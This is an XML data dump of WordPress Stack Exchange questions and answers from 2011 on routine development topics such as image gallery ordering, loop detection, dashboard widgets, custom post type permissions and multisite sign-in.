  <row Id="25588" PostTypeId="1" AcceptedAnswerId="25589" CreationDate="2011-08-10T23:55:51.827" Score="0" ViewCount="24" Body="&lt;p&gt;I am looking for a solution, it can be pre-existing plugin or code I put into my functions.php file that will allow me to batch upload images to a post, and then have the ability to rearrange the positioning of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Wordpress by default allows you to batch upload images, so I am presuming the solution will use that functionality. But to my knowledge it doesn't let you adjust the order of which they are attached to the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I need to be able to have the option of rearranging bulk-uploaded images, is because on the front-end, images are shown sort of like a mosaic where multiple images make up one larger image in the form of  grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The scenario&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A user creates a new post.&lt;/li&gt;&#xA;&lt;li&gt;A user then clicks on a button which shows the media uploader and allows them to upload a whole bunch of images at once.&lt;/li&gt;&#xA;&lt;li&gt;The images are processed and then associated with the post.&lt;/li&gt;&#xA;&lt;li&gt;The user is then able to rearrange the order of the attached post images which will then be displayed in that particular order on the homepage in a WP post loop.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your assistance.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-08-11T00:21:31.633" Title="Bulk Image Upload And Rerrange Functionality" Tags="&lt;plugins&gt;&lt;images&gt;&lt;media-upload&gt;" AnswerCount="2" />
  <row Id="25589" PostTypeId="2" ParentId="25588" CreationDate="2011-08-11T00:18:01.733" Score="3" ViewCount="" Body="&lt;p&gt;The gallery tab allows you to order images by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click &lt;em&gt;Add Image&lt;/em&gt; ---&gt;&lt;em&gt;Gallery&lt;/em&gt; You can then number the photos in the little boxes.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/yLR5w.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;They can then be sorted in ascending/descending/date/time/random&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/WJAV7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-11T00:18:01.733" CommentCount="1" />
  <row Id="25590" PostTypeId="2" ParentId="25588" CreationDate="2011-08-11T00:21:31.633" Score="2" ViewCount="" Body="&lt;p&gt;As above but also you can reorder the images by clicking on  there name. The mouse turns into the cross with arrows. Saving the order and the images will be in a specific order. &lt;/p&gt;&#xA;" OwnerUserId="2691" LastActivityDate="2011-08-11T00:21:31.633" CommentCount="1" />
  <row Id="25591" PostTypeId="1" AcceptedAnswerId="25593" CreationDate="2011-08-11T00:29:00.143" Score="1" ViewCount="36" Body="&lt;p&gt;For example, inside the loop could i do something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if lastpost { &#xA;}&#xA;else {&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-08-11T01:27:13.840" Title="Is there an if statement that can determine if a post in the loop is the last post?" Tags="&lt;posts&gt;" AnswerCount="3" />
  <row Id="25592" PostTypeId="2" ParentId="25560" CreationDate="2011-08-11T00:34:22.103" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Dashboard Google Page Rank&#xA;Plugin URI: http://wordpress.org/extend/plugins/dashboard-google-pagerank/&#xA;Description: Shows your google pagerank in the wordpress dashboard&#xA;Author: Weston Deboer&#xA;Version: 1.1&#xA;Author URI: http://westondeboer.com&#xA;*/&#xA;function gpr_wp_dashboard_test() {&#xA;include('yourfile.php');&#xA;&#xA;&#xA;}&#xA;function gpr_wp_dashboard_setup() {&#xA;    wp_add_dashboard_widget( 'gpr_wp_dashboard_test', __( 'Google Page Rank' ),'gpr_wp_dashboard_test');&#xA;}&#xA;add_action('wp_dashboard_setup', 'gpr_wp_dashboard_setup');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have made a small modification to the above plugin. But all you should need to do is include your file which displays the data and it should show your widget in the admin dashboard.&lt;/p&gt;&#xA;" OwnerUserId="2691" LastActivityDate="2011-08-11T00:34:22.103" CommentCount="3" />
  <row Id="25593" PostTypeId="2" ParentId="25591" CreationDate="2011-08-11T00:38:56.950" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/last-post-in-the-loop&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/last-post-in-the-loop&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2691" LastActivityDate="2011-08-11T00:38:56.950" />
  <row Id="25594" PostTypeId="2" ParentId="25591" CreationDate="2011-08-11T01:04:36.233" Score="0" ViewCount="" Body="&lt;p&gt;I've coded up a quick little example for you. Should explain how to get the first and last post in a WP loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $post_count = 0;&#xA;    $total = count($posts);&#xA;&#xA;    while (have_posts()) : the_post();&#xA;&#xA;        if ($post_count == 1 AND $post_count !== $total)&#xA;        {&#xA;            // This is the first post&#xA;        }&#xA;&#xA;        if ($post_count == $total)&#xA;        {&#xA;            // This is the last item&#xA;        }&#xA;&#xA;        $post_count++;&#xA;&#xA;    endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-08-11T01:04:36.233" />
  <row Id="25595" PostTypeId="2" ParentId="25555" CreationDate="2011-08-11T01:20:33.523" Score="1" ViewCount="" Body="&lt;p&gt;Websense blocks based on URLs, not on site content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use their Site Lookup tool to have it fixed:&#xA;&lt;a href=&quot;http://www.websense.com/sitelookup/&quot; rel=&quot;nofollow&quot;&gt;http://www.websense.com/sitelookup/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to register with their site.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-11T01:20:33.523" CommentCount="2" />
  <row Id="25596" PostTypeId="2" ParentId="25591" CreationDate="2011-08-11T01:27:13.840" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if ($wp_query-&amp;gt;current_post +1 == $wp_query-&amp;gt;post_count) {&#xA;    // this is the last post&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change $wp_query to your own query variable if you made a new WP_Query object.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-11T01:27:13.840" />
  <row Id="25597" PostTypeId="1" AcceptedAnswerId="25598" CreationDate="2011-08-11T01:57:33.890" Score="1" ViewCount="26" Body="&lt;p&gt;I love stackexchange's tag subscription feature. Now i'm receiving email notifications only for the topics i'm interested in. I would like to have this feature in my wordpress site. Is there any good tag subscription plugin available?. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no plugin available why not WA experts create one and submit it in the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18459/wpse-plugin-repository-the-plugins-that-came-out-of-wp-answers&quot;&gt;WPSE Plugin Repository&lt;/a&gt;? &lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-11T02:25:31.403" Title="Tag subscription option in wordpress. How?" Tags="&lt;tags&gt;&lt;email&gt;&lt;notifications&gt;&lt;subscription&gt;" AnswerCount="2" />
  <row Id="25598" PostTypeId="2" ParentId="25597" CreationDate="2011-08-11T02:14:04.560" Score="2" ViewCount="" Body="&lt;p&gt;If you're willing to use an outside provider, you can add the &lt;a href=&quot;http://codex.wordpress.org/WordPress_Feeds#Categories_and_Tags&quot; rel=&quot;nofollow&quot;&gt;tag feed&lt;/a&gt; to Feedburner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First get the tag feed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/?tag=tagname&amp;amp;amp;feed=rss2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to to &lt;a href=&quot;http://feedburner.com&quot; rel=&quot;nofollow&quot;&gt;feedburner.com&lt;/a&gt; and create a feed, then enable &quot;Email Subscriptions&quot; (under the &quot;Publicize&quot; tab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this, and it works well.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-11T02:14:04.560" CommentCount="1" />
  <row Id="25599" PostTypeId="2" ParentId="25597" CreationDate="2011-08-11T02:25:31.403" Score="1" ViewCount="" Body="&lt;p&gt;Check out the &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe2/&quot; rel=&quot;nofollow&quot;&gt;Subscribe2&lt;/a&gt; Plugin. From the screenshots, it looks like it has per category functionality.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-08-11T02:25:31.403" CommentCount="1" />
  <row Id="25600" PostTypeId="2" ParentId="12679" CreationDate="2011-08-11T02:29:10.153" Score="0" ViewCount="" Body="&lt;p&gt;Even though it appears the author solved his request, I'll post a better solution on how to achieve this (I'm also the author of Mystique btw). Maybe it will help others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first you need the iframe document - your home page. I'm using ajax to get it just like in the function above, but you don't necessarily need to do this. You can just normally add the iframe above your theme setting fields, just like any HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to append a query argument to the iframe target URL, like &lt;code&gt;&amp;lt;?php home_url(); ?&amp;gt;/?themepreview&lt;/code&gt; (or user add_query_arg or whatever). This is important, you'll see later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you need to find a way to communicate with the iframe. Check out the &lt;a href=&quot;http://postmessage.freebaseapps.com/&quot; rel=&quot;nofollow&quot;&gt;postMessage&lt;/a&gt; and &lt;a href=&quot;https://github.com/douglascrockford/JSON-js&quot; rel=&quot;nofollow&quot;&gt;JSON2&lt;/a&gt; scripts. Enqueue them in your settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, simply bind a function on the events you need to the live preview to fire. For example, assuming you have a text input named &quot;page_width&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;page_width&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your jQuery document.ready function you would have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// event can be anything, click/change/input or a custom colorpicker event...&#xA;$(&quot;input[name='page_width']&quot;).change(function(){&#xA;&#xA;  // get the value entered by the user&#xA;  var current_page_width = $(this).val();&#xA;&#xA;  // send this value trough postMessage to the iframe document&#xA;  pm({&#xA;    target: window.frames[&quot;themepreview&quot;],  // this needs to be the iframe ID&#xA;    type: 'page_width',&#xA;    data: current_page_width&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the &lt;code&gt;pm&lt;/code&gt; function will send the input value to the iframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the iframe to change its contents, you need to include the above scripts on the front-end too. But only do this if the query argument above is present, so you only include them when a theme preview is requested, and not on every page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the front-end's document.ready handle the receiving part, with &lt;code&gt;pm.bind()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// first argument should be the &quot;type&quot; from above&#xA;pm.bind('page_width', function(data){&#xA;&#xA;  // data that's being received is the 'current_page_width', so just set the new width to the element you need to&#xA;  $('#page').css('width', data + 'px');&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's it :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also find sample code in version 3 of Mystique...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-08-11T02:29:10.153" />
  <row Id="25601" PostTypeId="1" AcceptedAnswerId="25607" CreationDate="2011-08-11T02:31:49.897" Score="0" ViewCount="32" Body="&lt;p&gt;I have two custom post types.  One of them, I would like the author role to be able to publish.  The other one, I would like for them to &quot;Submit for Review&quot;.  Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="7124" LastActivityDate="2011-08-11T03:52:46.490" Title="Allow Author role to publish one post type and not another" Tags="&lt;custom-post-types&gt;&lt;permissions&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25602" PostTypeId="2" ParentId="25520" CreationDate="2011-08-11T02:33:11.347" Score="0" ViewCount="" Body="&lt;p&gt;Use this selector:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.current-products-ancestor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... to change the styles on that menu.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-11T02:33:11.347" CommentCount="1" />
  <row Id="25603" PostTypeId="2" ParentId="25570" CreationDate="2011-08-11T02:40:48.030" Score="2" ViewCount="" Body="&lt;p&gt;This is all sorts of wrong, you need to first decide if you want to use posts, pages or custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You alluded at the end that you wanted a new tab like you have seen in some themes, this would be the right way to do it using Custom Post Types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can learn how to create them here,&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Post_Types#Custom_Types&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Post_Types#Custom_Types&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you can create a template file for your post type that is specific to how you want it to look. For instance say you created a CPT called &quot;Gallery&quot;, your theme file can be &lt;code&gt;single-gallery.php&lt;/code&gt;. There you can use the loop anyway you want to display and style your photos, and every post made in this post type (Gallery) will use that theme file.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To answer your second question, when you register a new custom post type there are parameters, one of them can enable or disable the editor. The one your looking for is &lt;code&gt;supports --&amp;gt; 'editor'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default to manage the post's photos you click on Add Photo---&gt;Gallery--&gt; there you find the management options. If you want to customize a new photo management &quot;console&quot; you will have to make another question as it would be to complicated to go into details here, I have seen them but I'm not entirely sure what the best method is to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-11T15:56:27.367" LastActivityDate="2011-08-11T15:56:27.367" CommentCount="4" />
  <row Id="25604" PostTypeId="1" CreationDate="2011-08-11T03:38:45.957" Score="0" ViewCount="5" Body="&lt;p&gt;I am building a custom theme for a friend. I have setup the default WordPress navigation menu to have parent and child items. The child items are simply displayed beneath the parent items on the menu rather than only on hover. I figure I have just missed putting something essential to that in the theme. Does any one have any ideas what that might be?&lt;/p&gt;&#xA;" OwnerUserId="4092" LastActivityDate="2011-08-11T03:38:45.957" Title="Drop down navigation menu not working in custom theme" Tags="&lt;css&gt;&lt;navigation&gt;&lt;dropdown&gt;" />
  <row Id="25605" PostTypeId="2" ParentId="25560" CreationDate="2011-08-11T03:47:41.303" Score="0" ViewCount="" Body="&lt;p&gt;Simply open your functions.php file and add the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_dashboard_setup', 'my_custom_dashboard_widgets');&#xA;&#xA;&#xA;function my_custom_dashboard_widgets() {&#xA;global $wp_meta_boxes;&#xA;&#xA;wp_add_dashboard_widget('custom_help_widget', 'Theme Support', 'custom_dashboard_help');&#xA;}&#xA;&#xA;function custom_dashboard_help() {&#xA;echo '&amp;lt;p&amp;gt;your Text Here &amp;lt;a href=&quot;mailto:yourusername@gmail.com&quot;&amp;gt;here&amp;lt;/a&amp;gt;. Your Text : &amp;lt;a href=&quot;http://www.xxxx.com&quot; target=&quot;_blank&quot;&amp;gt;Your Title&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-08-11T03:47:41.303" />
  <row Id="25607" PostTypeId="2" ParentId="25601" CreationDate="2011-08-11T03:52:46.490" Score="1" ViewCount="" Body="&lt;p&gt;When the post type is registered, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one can specify custom 'capabilities'.  eg I have an events post type, with event as a base for the capabilities, so automatically, there is a matching set like the page/post capabilties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then one can use  justin tadlock's members plugin to assign capabilities to roles.   Assign 'create' but not 'publish' to the 'review' post type, but full rights to the other type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple.&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-08-11T03:52:46.490" CommentCount="1" />
  <row Id="25608" PostTypeId="2" ParentId="25578" CreationDate="2011-08-11T03:57:57.980" Score="1" ViewCount="" Body="&lt;p&gt;Make sure that show_ui and show_in_menu are set to true when the post type is enabled.  then all the usual post/pages features will be available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure that those features are explicitly declared as by the CPT as supported.&lt;/p&gt;&#xA;" OwnerUserId="3569" LastEditorUserId="2932" LastEditorDisplayName="" LastEditDate="2011-09-02T20:51:42.120" LastActivityDate="2011-09-02T20:51:42.120" />
  <row Id="25609" PostTypeId="2" ParentId="25579" CreationDate="2011-08-11T04:01:10.673" Score="0" ViewCount="" Body="&lt;p&gt;Possibly rewrite is not set to true for that taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_taxonomy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-08-11T04:01:10.673" />
  <row Id="25612" PostTypeId="1" CreationDate="2011-08-11T04:55:52.010" Score="-2" ViewCount="30" Body="&lt;p&gt;How can in wordpress, one sell the &quot;create post&quot; option&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To elaborate more. One has to pay an amount before he can make create a post on the wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MORE ELABORATION&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose a person pays $20, he gets to write a post on wordpress. This is just like a paid listing website. If the person wants to create another post, he has to pay another 20 Bucks.&lt;/p&gt;&#xA;" OwnerUserId="7736" LastEditorUserId="7736" LastEditorDisplayName="" LastEditDate="2011-08-11T06:01:15.703" LastActivityDate="2011-08-11T06:01:15.703" Title="Sell &quot;create a post&quot;, paid account for post creation" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;e-commerce&gt;" CommentCount="7" />
  <row Id="25614" PostTypeId="1" CreationDate="2011-08-11T05:19:43.117" Score="0" ViewCount="39" Body="&lt;p&gt;In my multisite i'm using a custom blog registration using :&#xA;&lt;code&gt;wpmu_signup_blog($domain, $path, $blog_title, $user_name, $user_email, $meta);&lt;/code&gt; &#xA;and the site creation is successfull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i want users automatically sign into their site admin panel on signup,for that i use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$creds = array();&#xA;$creds['user_login'] = $_POST['username'];&#xA;$creds['user_password'] = $_POST['password'];&#xA;$creds['remember'] = true;&#xA;&#xA;$user = wp_signon( $creds, false );&#xA;&#xA;if ( is_wp_error($user) )&#xA;   echo $user-&amp;gt;get_error_message();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this will return an error :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;ERROR: The password you entered for the username mysite is incorrect. Lost your password?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i need auto signin without using a plugin!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help...&lt;/p&gt;&#xA;" OwnerUserId="7810" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-11T05:51:12.690" LastActivityDate="2011-08-11T08:21:49.333" Title="wp_signon( $creds, false ); not working" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="25615" PostTypeId="1" CreationDate="2011-01-05T10:12:25.570" Score="2" ViewCount="10" Body="&lt;p&gt;Please go easy on me. I'm a clutzy dinosaur. I currently have a large, unwieldy website hand-coded in html/css with php includes. It currently has a single WP installation in a subdirectory. The plan is to reorganize, and I want to use WP as the CMS and incorporate 3 WP blogs for 3 subdomains. Ideally, would like to create a WP multisite network to allow for further expansion and to save admin trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to confirm that if I install WP in the root directory and create 3 blogs (in subdomains), does this mean my website's home page is the mother blog's index.php? Essentially, I will have created 4 blogs - mother at root and 3 children in subdomains?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to set this up on my Mac (OSX 10.5.8) running MAMP for development? And then how to migrate to server without breaking?&lt;/p&gt;&#xA;" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-11T14:24:11.600" LastActivityDate="2011-08-11T14:24:11.600" Title="WordPress Multisite Network installation and dev questions" Tags="&lt;multisite&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="25616" PostTypeId="2" ParentId="25615" CreationDate="2011-01-12T23:19:30.383" Score="2" ViewCount="" Body="&lt;h3&gt;WordPress Multisite is the way to go&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;WordPress Multisite is highly extensible and will even allow you to map full domain names to the subdomain blogs.  I just recently moved 15 client sites to 1 WordPress Multisite install and it went great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some great Multisite resources over at wordpress.stackexchange.com&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/multisite&quot;&gt;Questions tagged with Multisite over at wordpress.stackexchange.com&lt;/a&gt;&lt;/h3&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-12T23:19:30.383" />
  <row Id="25617" PostTypeId="1" CreationDate="2011-08-11T06:56:49.830" Score="0" ViewCount="11" Body="&lt;p&gt;We know that wp attachment just belong to post/page. &#xA;So if i want to use in another post, its need manually insert it.&#xA;I have site that use company logo in many post, and i need each post has logo as attachment because i m use it to display at attachment template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to achieve this? an ability to re-attach attachment to another post.&lt;br&gt;&#xA;no duplicate image in server, and save server space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i found interesting idea &lt;a href=&quot;http://old.nabble.com/Re%3a-Attaching-photos-to-multiple-posts-p30830918.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7813" LastActivityDate="2011-08-11T06:56:49.830" Title="Enabled attachment image used in multiple post" Tags="&lt;attachments&gt;" />
  <row Id="25618" PostTypeId="1" CreationDate="2011-08-11T07:54:15.503" Score="0" ViewCount="34" Body="&lt;p&gt;I am trying to set terms from meta boxes i have added using add_meta_box(). I'm trying to accomplish something very similar to this post: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23917/wp-set-post-terms-example&quot;&gt;wp_set_post_terms example?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I keep running in to the same error when using wp_set_post_terms() and wp_set_object_terms():&#xA;Catchable fatal error: Object of class stdClass could not be converted to string in /wp-includes/taxonomy.php on line 2569&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to figure this out for a while. My custom fields look like this after getting all the taxonomies for a particular post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($taxonomies as $taxonomy) {&#xA;  $tax = $taxonomy-&amp;gt;name;&#xA;  ?&amp;gt;&#xA;  &amp;lt;label&amp;gt;&amp;lt;?php echo $taxonomy-&amp;gt;label['name']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;_ajwiv_vidlib_terms[&amp;lt;?php $tax ?&amp;gt;]&quot; value=&quot;&quot;/&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I am trying to set the terms like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_POST['_ajwiv_vidlib_terms'])) {&#xA;  foreach($_POST['_ajwiv_vidlib_terms'] as $tax =&amp;gt; $term) {&#xA;    wp_set_post_terms(  $post_id, $terms, $tax, true );&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help you could provide would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-AJ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've narrowed the problem down to the file where I register my custom taxonomies.  I looked in the term_taxonomy table of the database and the taxonomies from my meta boxes were being saved as integers instead of strings which is certainly what caused this problem.  However, I deleted from the database all of those taxonomies, terms, tax-term relationships, and any posts that that were associated with this problem and I am still getting that error message.  I can no longer register any kind of custom taxonomy without receiving this error message: Catchable fatal error: Object of class stdClass could not be converted to string in /wp-includes/taxonomy.php on line 2569. I can navigate the admin area, but whenever I try to view any page on the front end that uses the loop, I receive this error message. Please help! Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7814" LastEditorUserId="7814" LastEditorDisplayName="" LastEditDate="2011-08-11T10:39:57.113" LastActivityDate="2011-08-11T10:39:57.113" Title="Using wp_set_post_terms() along with custom meta boxes" Tags="&lt;custom-field&gt;&lt;metabox&gt;&lt;taxonomy&gt;&lt;terms&gt;&lt;wp-set-object-terms&gt;" CommentCount="1" />
  <row Id="25619" PostTypeId="2" ParentId="25614" CreationDate="2011-08-11T08:21:49.333" Score="0" ViewCount="" Body="&lt;p&gt;Since you are making them signed in after a successful blog creation, &lt;code&gt;$_POST&lt;/code&gt; variable won't have the values you are expecting it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;wp_set_auth_cookie( $user_id );&lt;/code&gt; and it will make your user logged in, you don't need to check for login credentials in your use case.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-11T08:21:49.333" CommentCount="2" />
  <row Id="25620" PostTypeId="1" CreationDate="2011-08-11T08:17:28.430" Score="0" ViewCount="35" Body="&lt;p&gt;I found that the theme I'm using use the following code to generate comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ol class=&quot;commentlist&quot;&amp;gt;&#xA;  &amp;lt;?php wp_list_comments(array('style' =&amp;gt; 'ol')); ?&amp;gt;&#xA;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to add comment number for each comment and I do not have much knowledge of PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-11T08:22:18.770" Title="How to add comment number in WordPress 3.2.1" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="25621" PostTypeId="2" ParentId="25620" CreationDate="2011-08-11T08:22:18.770" Score="0" ViewCount="" Body="&lt;p&gt;Here's the documentation for customizing the comment list display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_comments#Comments_Only_With_A_Custom_Comment_Display&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_list_comments#Comments_Only_With_A_Custom_Comment_Display&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1602" LastActivityDate="2011-08-11T08:22:18.770" />
